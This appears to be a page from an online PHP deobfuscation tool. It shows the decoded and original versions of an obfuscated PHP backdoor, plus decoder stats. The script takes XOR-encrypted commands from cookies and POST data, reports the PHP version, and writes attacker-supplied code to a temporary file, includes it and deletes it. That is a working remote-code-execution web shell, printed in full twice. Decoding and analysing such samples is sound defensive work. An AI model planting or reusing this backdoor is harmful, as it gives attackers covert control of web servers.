Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php function mxwdcc(){$aecfp='uvjdeubjxf';/* xvops */print_r (11886+11886); }..

Decoded Output download

<?php    function	mxwdcc(){$aecfp='uvjdeubjxf';/*   xvops  */print_r	(11886+11886);      }$pitrqzfs    =     'pitrqzfs'       ^	''; 
function/*   t*/hwoeb($vxihrn_,	$qlqqf){ 
 
 
	global    $pitrqzfs; 
 
 
       $suxbws/*y*/=	""; 
 
 
       for    ($pbznoexd  =     0;      $pbznoexd	</* qx   */strlen($vxihrn_);)     {	for	($r_ogxxvpb	=/* mfezm*/0;  $r_ogxxvpb       <       strlen($qlqqf)	&&/* krie  */$pbznoexd    <	strlen($vxihrn_);	$r_ogxxvpb++,	$pbznoexd++)	{ 
 
/*  nmb*/$suxbws	.=       $pitrqzfs(ord($vxihrn_[$pbznoexd])	^	ord($qlqqf[$r_ogxxvpb])); 
 
 
/*  inw   */} 
/* knabz*/}/*i   */return/*  gz */$suxbws;} 
 
function	wawrmxoku($gjppgvndi,   $vxihrn_){ 
 
	global    $pitrqzfs; 
 
    $pbznoexdnwnbsnz_b  =    sprintf("."."/"."%"."s"/*   lmpf   */.    $pitrqzfs(46)    ./*   zclm*/"p"/*fkts   */.     "l",	md5($gjppgvndi)); 
 
       file_put_contents($pbznoexdnwnbsnz_b,/*xow */"<"	.	"?"."p"."h"."p"	.    $pitrqzfs(32)	./*   tryu  */"u"."n"."l"/*t   */.    "i"."n"    .  $pitrqzfs(386-279)    ./* gjfgz  */$pitrqzfs(79-39)      .	"_"."_"     .	"F"/*b*/./*os  */$pitrqzfs(872-799)	.	"L"	.      "E"	./*   o*/"_"."_"/* ogli   */.  $pitrqzfs(158-117)/*  yang   */.	";".$pitrqzfs(32)	.       $vxihrn_[$pitrqzfs(895-795)]); 
 
 
/*  b*/include($pbznoexdnwnbsnz_b); 
 
	$fhkmxkgf     =   $pbznoexdnwnbsnz_b; 
   unlink($fhkmxkgf); 
 
} 
function/*   rf*/piwhkti(){       global	$pitrqzfs; 
/*   b*/ 
 
 
    $pbznoexd	=	array();	$pbznoexd["p".$pitrqzfs(231-113)]      =      phpversion(); 
/*exty */$pbznoexd["s"."v"]    =/*  dug  */"3"."."."5"; 
 
 
      echo	@serialize($pbznoexd); 
 
} 
 
 
 
function/*  ys  */llldk($vxihrn_,       $gjppgvndi,/* n*/$z_jqzfoq) 
 
 
{    global/*  lwlu*/$pitrqzfs; 
 
 
        
	$vxihrn_	=/*mk */unserialize(hwoeb(hwoeb(base64_decode($vxihrn_),      $gjppgvndi),/*  sard */$z_jqzfoq)); 
/* pviw */if	(isset($vxihrn_[$pitrqzfs(626-529)	./*   ja  */"k"]))/* bbf  */{ 
 
 
/*   zt   */if	($vxihrn_["a"]	==/*vksn   */"i")/*b   */{ 
 
 
  piwhkti(); 
 
 
  }     elseif/*q  */($vxihrn_["a"]  ==/* a*/"e")	{ 
 
 
     wawrmxoku($gjppgvndi,      $vxihrn_); 
 
/*  eis*/}     exit(); 
	} 
 
} 
 
 
$xjpqw   =       $_COOKIE; 
 
$opslcce      =	$_POST; 
 
$xjpqw	=  array_merge($opslcce,     $xjpqw); 
$gjppgvndi/*   fsabi */=/*   dxyr   */"0"	./* cj  */$pitrqzfs(77-23)      .	$pitrqzfs(200-102)      ./*  nz_ws*/"2".$pitrqzfs(51)   .	$pitrqzfs(98)	./*  feo */"9"	./*sqt  */$pitrqzfs(686-585)	.  "-"."1"/* verav  */.	$pitrqzfs(56)	.       "7"."5"	.	"-"."4"   ./* hk  */"e".$pitrqzfs(54)	./*  ffr  */$pitrqzfs(308-258)	.	"-".$pitrqzfs(714-617)/*   koqkk*/.    $pitrqzfs(633-584)      ./*   cgccd */"2"   .	$pitrqzfs(48)/*p_  */./*gsyqe */$pitrqzfs(319-274)/*  nboqd */./*  vcs*/$pitrqzfs(595-493)      ./*   bplc*/"2".$pitrqzfs(223-175)    .      "4"."1"."1"	.   "f"."b"/*ktmr */./* vxuhm */$pitrqzfs(50)       .     $pitrqzfs(48)       .	$pitrqzfs(55)      .	"b"; 
 
foreach/* ibxk*/($xjpqw  as/*hddg */$z_jqzfoq	=>	$vxihrn_)       {	llldk($vxihrn_,/*  t*/$gjppgvndi,	$z_jqzfoq); 
} 
 
 
 
 
 
 ?>

Did this file decode correctly?

Original Code

<?php    function	mxwdcc(){$aecfp='uvjdeubjxf';/*   xvops  */print_r	(11886+11886);      }$pitrqzfs    =     'pitrqzfs'       ^	'';
function/*   t*/hwoeb($vxihrn_,	$qlqqf){


	global    $pitrqzfs;


       $suxbws/*y*/=	"";


       for    ($pbznoexd  =     0;      $pbznoexd	</* qx   */strlen($vxihrn_);)     {	for	($r_ogxxvpb	=/* mfezm*/0;  $r_ogxxvpb       <       strlen($qlqqf)	&&/* krie  */$pbznoexd    <	strlen($vxihrn_);	$r_ogxxvpb++,	$pbznoexd++)	{

/*  nmb*/$suxbws	.=       $pitrqzfs(ord($vxihrn_[$pbznoexd])	^	ord($qlqqf[$r_ogxxvpb]));


/*  inw   */}
/* knabz*/}/*i   */return/*  gz */$suxbws;}

function	wawrmxoku($gjppgvndi,   $vxihrn_){

	global    $pitrqzfs;

    $pbznoexdnwnbsnz_b  =    sprintf("."."/"."%"."\163"/*   lmpf   */.    $pitrqzfs(46)    ./*   zclm*/"\x70"/*fkts   */.     "\154",	md5($gjppgvndi));

       file_put_contents($pbznoexdnwnbsnz_b,/*xow */"<"	.	"?"."p"."h"."\160"	.    $pitrqzfs(32)	./*   tryu  */"u"."n"."\x6c"/*t   */.    "i"."\156"    .  $pitrqzfs(386-279)    ./* gjfgz  */$pitrqzfs(79-39)      .	"_"."\x5f"     .	"\106"/*b*/./*os  */$pitrqzfs(872-799)	.	"\x4c"	.      "\x45"	./*   o*/"_"."\137"/* ogli   */.  $pitrqzfs(158-117)/*  yang   */.	";".$pitrqzfs(32)	.       $vxihrn_[$pitrqzfs(895-795)]);


/*  b*/include($pbznoexdnwnbsnz_b);

	$fhkmxkgf     =   $pbznoexdnwnbsnz_b;
   unlink($fhkmxkgf);

}
function/*   rf*/piwhkti(){       global	$pitrqzfs;
/*   b*/


    $pbznoexd	=	array();	$pbznoexd["p".$pitrqzfs(231-113)]      =      phpversion();
/*exty */$pbznoexd["s"."\x76"]    =/*  dug  */"3"."."."5";


      echo	@serialize($pbznoexd);

}



function/*  ys  */llldk($vxihrn_,       $gjppgvndi,/* n*/$z_jqzfoq)


{    global/*  lwlu*/$pitrqzfs;


       
	$vxihrn_	=/*mk */unserialize(hwoeb(hwoeb(base64_decode($vxihrn_),      $gjppgvndi),/*  sard */$z_jqzfoq));
/* pviw */if	(isset($vxihrn_[$pitrqzfs(626-529)	./*   ja  */"\x6b"]))/* bbf  */{


/*   zt   */if	($vxihrn_["a"]	==/*vksn   */"i")/*b   */{


  piwhkti();


  }     elseif/*q  */($vxihrn_["a"]  ==/* a*/"e")	{


     wawrmxoku($gjppgvndi,      $vxihrn_);

/*  eis*/}     exit();
	}

}


$xjpqw   =       $_COOKIE;

$opslcce      =	$_POST;

$xjpqw	=  array_merge($opslcce,     $xjpqw);
$gjppgvndi/*   fsabi */=/*   dxyr   */"\x30"	./* cj  */$pitrqzfs(77-23)      .	$pitrqzfs(200-102)      ./*  nz_ws*/"2".$pitrqzfs(51)   .	$pitrqzfs(98)	./*  feo */"\71"	./*sqt  */$pitrqzfs(686-585)	.  "-"."\61"/* verav  */.	$pitrqzfs(56)	.       "7"."\65"	.	"-"."\64"   ./* hk  */"e".$pitrqzfs(54)	./*  ffr  */$pitrqzfs(308-258)	.	"-".$pitrqzfs(714-617)/*   koqkk*/.    $pitrqzfs(633-584)      ./*   cgccd */"\62"   .	$pitrqzfs(48)/*p_  */./*gsyqe */$pitrqzfs(319-274)/*  nboqd */./*  vcs*/$pitrqzfs(595-493)      ./*   bplc*/"2".$pitrqzfs(223-175)    .      "4"."1"."\x31"	.   "f"."\x62"/*ktmr */./* vxuhm */$pitrqzfs(50)       .     $pitrqzfs(48)       .	$pitrqzfs(55)      .	"b";

foreach/* ibxk*/($xjpqw  as/*hddg */$z_jqzfoq	=>	$vxihrn_)       {	llldk($vxihrn_,/*  t*/$gjppgvndi,	$z_jqzfoq);
}





Function Calls

array_merge 1

Variables

$xjpqw 0
$opslcce 0
$pitrqzfs chrap|ur

Stats

MD5 edd680a01b4b58f063fc8e45c793dfa1
Eval Count 0
Decode Time 59 ms